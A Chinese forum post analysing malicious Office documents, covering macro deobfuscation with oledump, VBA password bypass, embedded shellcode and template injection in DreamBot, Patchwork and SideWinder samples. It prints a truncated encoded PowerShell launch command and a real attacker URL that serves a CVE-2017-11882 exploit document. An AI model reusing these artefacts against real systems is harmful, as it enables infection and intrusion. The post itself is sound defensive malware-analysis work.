就目前来看,非PE的恶意攻击已经越来越多了,主要是利用office这一套,最近也看了一些,就写一点记录一下。
自office207开始,微软提出了一种新的文件格式为OpenXML(OOXML),所有word、excel、ppt默认都是OenXML格式的。还有一种比较老的格式(97-03)是OLE,关于OLE后面会详细介绍。
先来看看OpenXML格式,正常情况下说该格式的office文档可以当成一个压缩包解压,以一个word文档为例子,压缩包内容一般如下:
该文件描述了整个文档内容的类型,把各个xml文件组合成了一个整体。
该文件会包含包中素有的部件的内容类型和列表。
这个文件夹中的xml记录了office文档的主要属性信息
主要是有两个文件:
app.xml:描述文档的类型、版本、共享信息、安全属性等。
core.xml:描述文件的创建时间、标题、主题和作者等通用属性。
存放所有指定的rels文件
.rels通常是描述文件结构中的起始关系,也就是说该文件用于定义其他部分与包外资源间的关系。也被叫做关系部件
word文件夹是文件的主体部分,内容大概如下:
之前已经说了,07版本之前的office文档可以格式主要是ole,07版本前的office文档十六进制显示如下:
而07版本后的OpenXML,更像是一个压缩包,查看十六进制数据可以看到PK标志:
office宏应该算是最多(也算是比较简单,直观的内容了)
这里是找到了一个DreamBot僵尸网络的样本:
912a487711217f214746a3e677e2bf32
开启宏之后:
这个时候就可以通过oledump来dump出宏代码。
oledump下载地址:https://www.52pojie.cn/thread-921868-1-1.html
使用方法:
首先可以直接通过oledump.py 目标文档.doc 分析出所有的代码段
然后可以通过oledump.py -s 段名 -v 目标文档.doc 将制定段的VBA代码提取出来(以xoTBoFzBdrgAzy1pbO为例子):
也可以在s后面跟上a参数,表示all,将所有的VBA代码解析出来,然后通过 > 文件名将结果写入到文件:
现在就可以分析这个VBA代码了:
这里的代码带混淆,而且很长,所以可以调试来解决,但是这个程序对调试进行了处理,当宏启用之后,就会提示word停止工作,根本不能调试宏,我再网上找了好久也没有找到合适的方案。
最后想到了一个还算有用的解决方案,就是根据word的执行顺序来使得word不马上加载宏
打开该样本的时候不断按F5,打开样本就会中断在如下界面:
这个时候点一下后面的文档内容,然后alt + F11 打开宏窗口:
现在就F8进行单步调试了。
然后写一下自己调试带混淆宏的思路
现在单步执行进来停在了函数OWlEmUVvwQl
然后这里传递了多个数字作为参数到gzPB函数中,查看一下gzPB函数功能:
可以看到函数的关键功能在这个For循环
RlHKDeQP的值从1到传进来参数的长度,每次自增2
然后RlHKDeQP会作为Mid函数的参数对传递进来的值进行分割
FUduorb = Mid$(BlWMlTlXnkR, RlHKDeQP, 2)
然后对Fuduorb进行处理:
AIHfEQdyA = AIHfEQdyA & Chr(Val("&H" & FUduorb))
最后得到AIHfEQdyA的值:"dxiMMtu"
所以这个gzPB函数的功能就是对传递进来的参数进行解密。
选择性的跳过,然后一步一步的跟进,最后可以得到函数调用链:
OWlEmUVvwQl->hMkbDVHtbVDDttEFUWEw->dTkPsYjiXXQJXW->DqfHVjrOSVaMrAFy->MsgsyIxLElHPXcNOFMo->UoOLrJw->JFJdZo->VtrbNDgItpnfKpgAqPml->ybCDhfHLopdFPWTjmLZoUbw->FzjyS->RVThCUH->IFSeOhWOWEpX->azriOHXmFqMfPRlfDlP->LSxrp->CADXqENsQRQthfrBXvpswgqkC->lDqTvcg->MOvSslUFTPZuhCliOUXc->oVBCPDmxRv->BnqSmevUUSPyaWQ->jJPulneBpTF
一直跟进来,最后会调用jJPulneBpTF,在改函数中利用ShellExecute调用Powershell执行命令:
根据下面的值可以提取出该条指令:
lpZlNxkkO.Document.Application.ShellExecute powershell.exe -enco JAB4AG4AcQBnAHcAcQB6AG0AeABhAHUAcAA9ACIAbQB6AHIAbgBlAHoAIgA7AAoAJAB0AHMAaQBkAHMAdQAgAD0AIAAiAEkAaQBSAFAAcgB3AFYARgAiADsACgAkAGgAZQBlAHkAZQBlAHAAeQB1AGUAPQAiAGgAcwBpAGsAcgBrAGgAdwBiAHkAbwBrAGoAcwBlACIAOwAKAGYAdQBuAGMAdABpAG8AbgAgAGEAYQBpAHIAZwB0AHcAaABuA
接着看ShellExecute后面的部分
可以手动加代码得到后面部分的输出结果:
上面这一大部分分析的都是sohkywrsn模块的内容,接下来用同样的方法分析其他模块的内容和调用关系就可以了。
带密码的宏一般来说有两个工具可以绕过。
以之前分析过的一个样本Lazarus_6850189bbf5191a76761ab20f7c630e举例。
打开样本宏窗口:
我第一次用的工具是aopr,吾爱下载地址:https://www.52pojie.cn/forum.php?mod=viewthread&tid=722999&page=1&authorid=796560
这个工具使用比较简单:
首先选择文件路径,然后直接删除VBA密码就可以了。
再次打开样本,ALT+F11打开宏窗口:
直接单击确定即可。
还有一个常用的工具是:VBA_Password_Bypasser。
以APT组织摩诃草近期的一个攻击样本0D38ADC0B048BAB3BD91861D42CD39DF为例。
打开文件之后内容如下:
启用宏发现只有1行代码,就是将这张模糊的图片删除,显示清晰的图片
所以该样本应该不是宏代码利用,尝试从其他思路想办法。
解压该文档,然后在:0D38ADC0B048BAB3BD91861D42CD39DF_w32time\xl\embeddings路径发现了ole:
这里还有bak,可能是攻击者忘记删除的备份。
查看该ole的十六进制数据:
可以看到在Offset00001000的地方貌似有shellcode
提取出来保存为二进制文件到IDA里面分析:
可以看到这里是首先给v2设置偏移为a2+1368,然后修订前两个字节为MZ,结合之前在shellcode下面看到的不完整PE,这里应该就是修正PE头。
接着往后看,是指明了一个路径%appdata%\MSBuild.exe
最后的call sub_244看参数应该是CreateFile文件
由于之前已经运行过了该样本,所以直接查看%appdata%路径:
MSbuild.exe已经释放到%appdata%处了
关于这个Msbuild的分析以及该样本的完整分析之后写在其他文档里。
以SideWinder APT的一个新样本为例:9b1d0537d0734f1ddb53c5567f5d7ab5
7z打开,看样子应该是的docx文档
可以看到有一个正在下载:https://www.sd1-bin.net/images/2B717e98/-1/12...的操作
这应该算是比较典型的模板注入了
解压该样本,按道理来讲可以在word/_rels目录下的document.xml.rels文件中找到该完整请求:
https://www.sd1-bin.net/images/2B717E98/-1/12571/4c7947ec/main.file.rtf
过滤一下网络,访问该地址,下载main.file.rtf到本地
app.any.run沙箱跑一下可以发现是利用公式编辑器漏洞的rft文档(CVE-2017-11882)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2019-11-21 15:01
被jux1a编辑
,原因: